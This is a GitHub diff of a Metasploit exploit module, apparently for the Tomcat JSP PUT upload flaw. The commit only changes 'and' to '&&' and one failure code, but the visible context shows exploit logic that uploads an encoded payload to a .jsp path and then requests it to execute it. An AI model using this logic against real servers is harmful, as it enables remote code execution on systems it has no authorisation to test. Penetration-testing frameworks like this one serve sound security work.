File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -70,7 +70,7 @@ def check
70
70
'method' => 'GET'
71
71
} )
72
72
73
- if res1 and res1 . body . include? ( testcontent )
73
+ if res1 && res1 . body . include? ( testcontent )
74
74
res2 = send_request_cgi (
75
75
opts = {
76
76
'uri' => normalize_uri ( target_uri , "#{ testurl } .jsp/" ) ,
@@ -94,15 +94,15 @@ def exploit
94
94
'method' => 'PUT' ,
95
95
'data' => "#{ payload . encoded } "
96
96
} )
97
- if res and res . code == 201
97
+ if res && res . code == 201
98
98
res1 = send_request_cgi ( {
99
99
'uri' => normalize_uri ( target_uri , "#{ testurl } .jsp" ) ,
100
100
'method' => 'GET'
101
101
} )
102
- if res1 and res1 . code == 200
102
+ if res1 && res1 . code == 200
103
103
print_status ( "Payload executed!" )
104
104
else
105
- fail_with ( Failure ::Unknown , "Failed to execute the payload" )
105
+ fail_with ( Failure ::PayloadFailed , "Failed to execute the payload" )
106
106
end
107
107
else
108
108
fail_with ( Failure ::Unknown , "Failed to upload the payload" )
You can’t perform that action at this time.
0 commit comments